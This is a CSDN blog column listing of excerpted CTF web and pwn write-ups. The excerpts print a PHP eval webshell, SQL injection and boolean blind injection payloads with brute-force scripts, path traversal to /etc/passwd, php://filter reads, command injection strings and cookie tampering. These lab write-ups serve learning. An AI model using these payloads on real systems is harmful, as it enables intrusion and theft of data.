![](https://img-blog.csdnimg.cn/20201014180756757.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
CTF
文章平均质量分 75
yym68686
这个作者很懒,什么都没留下…
展开
-
[SUCTF 2018]GetShell
只要我们构造的脚本存在 black_char 里面的字符,上传就失败,所以我们要知道 black_char 里面有哪些字符,编写 fuzz 脚本。所以我们可以通过遍历一个很大的中文字符集,通过取反找到 system 的每一个字母。但现在所有的英文字母都不能用,所以要将每一个英文字母替换一下,比如 r 可以表示为。上传文件后,构造 POST 请求,用 BurpSuite 发送。打开网页发现 upload 文件上传网页。一个正常的 webshell 脚本应该是。构造 payload。原创 2022-10-19 18:37:04 · 329 阅读 · 0 评论 -
[网鼎杯 2020 白虎组]PicDown
[网鼎杯 2020 白虎组]PicDown打开网页发现输入文本框,有可能是读取文件,输入:../../../../../etc/passwd或者/etc/passwd文件用记事本打开后:root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologins原创 2021-10-31 22:49:09 · 1410 阅读 · 1 评论 -
[红明谷CTF 2021]write_shell
[红明谷CTF 2021]write_shell打开网页,发现源代码:<?phperror_reporting(0);highlight_file(__FILE__);function check($input){ if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){ // if(preg_match("/'| |_|=|php/",$input)){ die('hacker!!!');原创 2021-10-22 20:50:56 · 624 阅读 · 0 评论 -
[BJDCTF2020]EzPHP
[BJDCTF2020]EzPHP打开网页,查看源代码,发现:<!-- Here is the real page =w= --><!-- GFXEIM3YFZYGQ4A= -->用base32解密后,明文:1nD3x.php访问/1nD3x.php:<?phphighlight_file(__FILE__);error_reporting(0);$file = "1nD3x.php";$shana = $_GET['shana'];$passwd原创 2021-10-21 17:29:32 · 579 阅读 · 0 评论 -
[NPUCTF2020]ezinclude
目录[NPUCTF2020]ezinclude方法一 利用php7 segment fault特性(CVE-2018-14884)方法二 利用 session.upload_progress 进行 session 文件包含[NPUCTF2020]ezinclude打开网页,查看源代码,发现注释提示:md5($secret.$name)===$pass输入url:/?name=1变化name的值,发现cookies的hash值在不断变化,说明hash值跟name的取值有关,但又不完全是name原创 2021-10-17 22:36:42 · 2407 阅读 · 0 评论 -
[GYCTF2020]EasyThinking
[GYCTF2020]EasyThinking输入url:/1页面报错,提示:ThinkPHP V6.0.0 { 十年磨一剑-为API开发设计的高性能框架 } - 官方手册。用dirsearch扫描发现www.zip源码泄露,使用命令:python dirsearch.py -u http://be2eaad1-b1cd-496a-9992-e5b410121b55.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,4原创 2021-10-08 19:20:29 · 1204 阅读 · 2 评论 -
[RootersCTF2019]I_<3_Flask
[RootersCTF2019]I_❤️_Flask打开网页,扫描网页也没有什么发现,安装arjun:pip install arjun在arjun执行文件所在目录下,使用命令行:arjun -u http://0174322b-efca-4ba0-aef7-6f496b9d6612.node4.buuoj.cn:81/ -c 100 -d 5参数解释:-d 表示设置线程数量-c 设置一次请求的参数数量ReferencesGitHub - s0md3v/Arjun: HTTP p原创 2021-09-27 23:46:05 · 410 阅读 · 0 评论 -
[WUSTCTF2020]CV Maker
[WUSTCTF2020]CV Maker打开网页,先登录,发现可以更改头像,想到可能是文件上传漏洞,试一试上传PHP文件,发现页面报错:exif_imagetype not image!,查阅PHP手册:exif_imagetype(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)exif_imagetype — 判断一个图像的类型,exif_imagetype() 读取一个图像的第一个字节并检查其签名。说明exif_imagetype只检查文件头,所以我们可以原创 2021-09-24 17:10:55 · 1550 阅读 · 0 评论 -
[HarekazeCTF2019]encode_and_encode
[HarekazeCTF2019]encode_and_encode打开网页,点击source链接,发现源代码:<?phperror_reporting(0);if (isset($_GET['source'])) { show_source(__FILE__); exit();}function is_valid($str) { $banword = [ // no path traversal '\.\.', // no stream wrapp原创 2021-09-24 16:33:11 · 234 阅读 · 0 评论 -
[watevrCTF-2019]Cookie Store
[watevrCTF-2019]Cookie Store打开网页,发现可以买饼干,猜想与cookie有关,随便买一个饼干,用Burp Suite拦截:Cookie: session=eyJtb25leSI6IDUwLCAiaGlzdG9yeSI6IFtdfQ==对eyJtb25leSI6IDUwLCAiaGlzdG9yeSI6IFtdfQ==base64解码:{"money": 50, "history": []}说明可以随意修改我们的钱,把money改为1000,然后base64编码:ey原创 2021-09-12 16:22:41 · 194 阅读 · 0 评论 -
[NCTF2019]SQLi
[NCTF2019]SQLi打开网页,提示:try to make the sqlquery have its own results登录键下提示:sqlquery : select * from users where username='' and passwd=''fuzz一下,注释符号,空格全被过滤了,这个是我的fuzz字典:WEB SQL Fuzz Dict用dirsearch扫描一下网站,发现存在robots.txt文件,打开后提示有/hint.txt:$black_list原创 2021-09-12 16:03:41 · 198 阅读 · 0 评论 -
[SUCTF 2019]EasyWeb
[SUCTF 2019]EasyWeb打开网页,发现源码:<?phpfunction get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!em原创 2021-09-12 00:14:04 · 856 阅读 · 0 评论 -
[b01lers2020]Welcome to Earth
[b01lers2020]Welcome to Earth进入网页,查看源代码:<!DOCTYPE html><html> <head> <title>Welcome to Earth</title> </head> <body> <h1>AMBUSH!</h1> <p>You've gotta escape!</p> <原创 2021-09-09 16:08:10 · 475 阅读 · 0 评论 -
[SWPUCTF 2018]SimplePHP
[SWPUCTF 2018]SimplePHP打开网页,发现文件上传,点开查看文件发现url为:/file.php?file=,尝试获取index.php,输入url:/file.php?file=index.php得到index.php源码:<?php header("content-type:text/html;charset=utf-8"); include 'base.php';?>输入url:/file.php?file=file.php得到file.php原创 2021-09-08 19:41:54 · 300 阅读 · 0 评论 -
[GYCTF2020]Ezsqli
[GYCTF2020]Ezsqli打开网页发现有个输入框,随便输入1 or 2,发现or被过滤了,因此尝试fuzz看看,还过滤了哪些sql关键词,我使用的fuzz字典:WEB SQL Fuzz Dict发现if,or,union,information_schema.tables均被过滤,因为输入2||True和2||False的返回结果不一致所以要用盲注来判断每个字符是什么。对于过滤掉information_schema的题目,注意到MySQL5.7的新特性:由于performance_sche原创 2021-09-03 01:00:15 · 1126 阅读 · 0 评论 -
[RCTF2015]EasySQL
[RCTF2015]EasySQL打开网页,发现需要注册,然后登陆,一般这种情况就是sql注入的思路,一开始先找注入点,我们发现登录进去后还有修改密码的页面,这种情况一般都是二次注入,因为修改密码需要查询当前的用户名,这时如果我们的用户名是一个注入语句,就有可能在修改密码查询时引发错误。References[CISCN2019 华北赛区 Day1 Web5]CyberPunk因此我们接下来试着注册一个账号,以1"为用户名,注册一个账号,在修改密码的时候,发现报错:You have an error原创 2021-08-24 19:34:00 · 299 阅读 · 0 评论 -
[CSCCTF 2019 Qual]FlaskLight
[CSCCTF 2019 Qual]FlaskLight打开网页,在源代码的注释里发现提示用GET传递search参数,又发现这是一个Flask网页,所以可能用到SSTI注入,现在需要搞清楚这个网页是什么模板。按照图示步骤:确定哪个模板注入的一般流程:在疑似注入点的地方输入${7*7},如果有结果为49继续输入a{*comment*}b,成功则是smarty引擎,以此类推有些时候不同的模板引擎对同一输入{{7*'7'}}都有结果但是在Twig中结果是49,在jinja2中是7777777。原创 2021-08-17 16:29:40 · 591 阅读 · 0 评论 -
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
[CISCN2019 华北赛区 Day1 Web5]CyberPunk打开网页,查看源代码,发现源码底部注释提示<!--?file=?-->。这个提示表明我们需要传递一个参数来获得一个文件,所以想到用php://filter/协议来获取index.php的源代码,输入url:?file=php://filter/convert.base64-encode/resource=index.phpbase64解码后,index.php源码:<?phpini_set('open_ba原创 2021-08-15 20:47:48 · 154 阅读 · 0 评论 -
[CISCN2019 总决赛 Day2 Web1]Easyweb
目录[CISCN2019 总决赛 Day2 Web1]Easyweb方法一 寻找备份文件方法二 读取源码[CISCN2019 总决赛 Day2 Web1]Easyweb打开网页发现登录页面,先扫描目录试试,发现/robots.txt,查看robots.txt:User-agent: *Disallow: *.php.bak方法一 寻找备份文件发现源码有备份,但我们并不知道源码文件的名字是什么,按F12,发现图片与一个带有id的php文件有关,尝试下载image.php.bak,得到image.原创 2021-08-13 19:21:53 · 401 阅读 · 0 评论 -
[CISCN2019 华北赛区 Day1 Web2]ikun
[CISCN2019 华北赛区 Day1 Web2]ikun打开网页,先注册登录,根据提示:ikun们冲鸭,一定要买到lv6!!!,说明我们要买个六级号,所以我们用脚本搜索六级号在哪一页:import requestsfor i in range(1,1000): url = "http://0a047e4f-ced1-4f90-9dcd-663cef470c0f.node3.buuoj.cn/shop?page={}" url = url.format(i) print(ur原创 2021-08-11 17:00:04 · 475 阅读 · 0 评论 -
[MRCTF2020]套娃
[MRCTF2020]套娃打开网页,没有发现什么特别的,按F12打开开发者工具,查看源代码,发现注释:<!--//1st$query = $_SERVER['QUERY_STRING']; if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ die('Y0u are So cutE!');} if($_GET['b_u_p_t'] !== '23333' && pr原创 2021-08-11 16:58:59 · 287 阅读 · 0 评论 -
[极客大挑战 2019]RCE ME
[极客大挑战 2019]RCE ME打开网页,发现源代码:<?phperror_reporting(0); // 关闭所有PHP错误报告if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($cod原创 2021-08-11 16:57:35 · 273 阅读 · 0 评论 -
[CISCN2019 华北赛区 Day1 Web1]Dropbox
[CISCN2019 华北赛区 Day1 Web1]Dropbox注册后进入网站,上传文件后,用Burp Suite拦截请求,修改请求,任意文件可下载:POST /download.php HTTP/1.1Host: 3a15d220-2508-43a9-a971-ff055bdaf52f.node4.buuoj.cnContent-Type: application/x-www-form-urlencodedCookie: PHPSESSID=71e4c77c7af3596b74ed78af4c原创 2021-08-11 16:55:43 · 344 阅读 · 0 评论 -
[GWCTF 2019]枯燥的抽奖
[GWCTF 2019]枯燥的抽奖打开网页,查看源代码,发现JavaScript脚本:$(document).ready(function(){ $("#div1").load("check.php #p1"); $(".close").click(function(){ $("#myAlert").hide(); }); $("#button1").click(function(){ $("#myAlert").hi原创 2021-08-11 16:52:29 · 198 阅读 · 0 评论 -
[WUSTCTF2020]颜值成绩查询
[WUSTCTF2020]颜值成绩查询打开网页,发现输入框可以查询,考虑sql注入。先输入:if(length(database()) > 1, 1, 0)发现可以查到数据,但输入:if(length(database()) > 3, 1, 0)却查不到数据,所以可以确定是布尔注入。可以flag一位位爆破出来。脚本:import requestsvision_str = '''!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGH原创 2021-08-11 16:50:32 · 399 阅读 · 0 评论 -
[FBCTF2019]RCEService
[FBCTF2019]RCEService打开网页,发现输入框,提示命令以json格式输入,先试试:{"cmd": "ls"}回显:index.php,说明网页是用php写的,输入其他命令发现进行了过滤,说明用到了正则表达式preg_match函数。绕过preg_match函数有两种方法:方法一利用preg_match函数的最大回溯次数可以绕过preg_match函数。ReferencesPHP利用PCRE回溯次数限制绕过某些安全限制查询英文PHP手册,发现php.ini中的pcre.ba原创 2021-08-11 16:49:16 · 355 阅读 · 0 评论 -
[Zer0pts2020]Can you guess it?
[Zer0pts2020]Can you guess it?打开网页,点击链接,发现源代码:<?phpinclude 'config.php'; // FLAG is defined in config.phpif (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("I don't know what you are thinking, but I won't let you read it :)");}原创 2021-08-11 16:47:40 · 207 阅读 · 0 评论 -
BUUCTF Web 第二页全部Write ups
目录[强网杯 2019]高明的黑客[BUUCTF 2018]Online Tool[RoarCTF 2019]Easy Java[GXYCTF2019]BabyUpload[GXYCTF2019]禁止套娃方法一方法二方法三[BJDCTF2020]The mystery of ip[GWCTF 2019]我有一个数据库[BJDCTF2020]Mark loves cat[BJDCTF2020]ZJCTF,不过如此[安洵杯 2019]easy_web[网鼎杯 2020 朱雀组]phpweb[De1CTF 201原创 2021-07-09 15:19:39 · 1332 阅读 · 4 评论 -
BUUCTF Web 第一页全部Write ups
更多笔记,可以关注yym68686.top目录[极客大挑战 2019]Http[ACTF2020 新生赛]Exec[极客大挑战 2019]Secret File[HCTF 2018]WarmUpReferences[极客大挑战 2019]EasySQLReferences[强网杯 2019]随便注方法一方法二References[极客大挑战 2019]Havefun[SUCTF 2019]EasySQL方法一方法二References[ACTF2020 新生赛]IncludeReferences[极客大挑原创 2021-03-26 20:36:27 · 1869 阅读 · 4 评论 -
[CTFHub] Web 文件上传 Write ups
无验证新建php文件,上传。<?php @eval($_POST["password"]);?>页面回显上传的文件的相对路径:upload/sh.php利用蚁剑空白区域右击添加数据,设置如下:URL地址 http://challenge-a7288a7b4363f849.sandbox.ctfhub.com:10080/upload/sh.php连接密码 password网站备注编码设置 UTF8连接类型 PHP其他不变。密码可以随便设置,要跟$_POST[“pas原创 2021-02-20 18:49:55 · 428 阅读 · 0 评论 -
[pwnable.tw] Start Write up
StartchecksecArch: i386-32-littleRELRO: No RELROStack: No canary foundNX: NX disabledPIE: No PIE (0x8048000)程序只有两个函数_start_exit_start函数.text:08048060 push esp # 将esp寄存器的值压入栈中,程序一开始什么都没有,esp就是栈顶.text:080原创 2021-02-18 21:42:47 · 149 阅读 · 0 评论 -
[CTFHub] Web SQL注入 Write ups
整数型注入查询语句1 union 查询语句2我们要让查询语句1失效,查询语句2是我们注入的语句,返回正确的结果。如果id=-1,显然数据库查询不到,所以返回NULL,不显示,然后执行查询语句2显示正确的的结果。查询所有数据库-1 union select 1, group_concat(schema_name) from information_schema.schemata查询sqli中所有表名称-1 union select 1, group_concat(table_name)原创 2021-02-16 22:41:12 · 183 阅读 · 1 评论 -
[Asuri_CTFHub] pwn for(canary泄露)Write up
文件for这一题发现两个答案,canary偏移是47或39都可以。可能的原因是因为一个程序可以有很多个canary,canary是main函数的,所以是47,如果用choice2这个函数的canary就是39。先看第一种情况偏移为47。发现在函数choice2()中第九行printf(&s);表明存在格式化字符串漏洞。用pwndbg确定printf地址,标记断点。b printf然后run输入2 # 进入choice2()函数1234 # printf的参数,随便原创 2021-01-25 20:47:46 · 951 阅读 · 0 评论 -
[CTFHub] Web 信息泄露 Write ups
网站源码在gtihub下载dirsearch在cmd输入命令python dirsearch.py -u http://challenge-91f1f5e6a791ab02.sandbox.ctfhub.com:10080/ -e *会扫描出备份文件,下载后,看到flag文件名,在url访问即可得到flagvim缓存用dirsearch扫描输入命令python dirsearch.py -u http://challenge-91f1f5e6a791ab02.sandbox.ctfhub.c原创 2021-01-01 17:20:31 · 574 阅读 · 1 评论 -
[CTFHub] Web RCE Write ups
命令注入输入127.0.0.1 | ls -al查看文件127.0.0.1 | cat [flag文件名]过滤cat用less more就行过滤空格用$IFS$9代替空格,然后输入127.0.0.1|cat$IFS$9lag_3760913111752.php过滤目录分隔符127.0.0.1;cd flag_is_here;cat flag_11132792223723.php过滤运算符127.0.0.1;cat flag_209472690126349.php命令注入-原创 2020-12-29 22:13:10 · 219 阅读 · 0 评论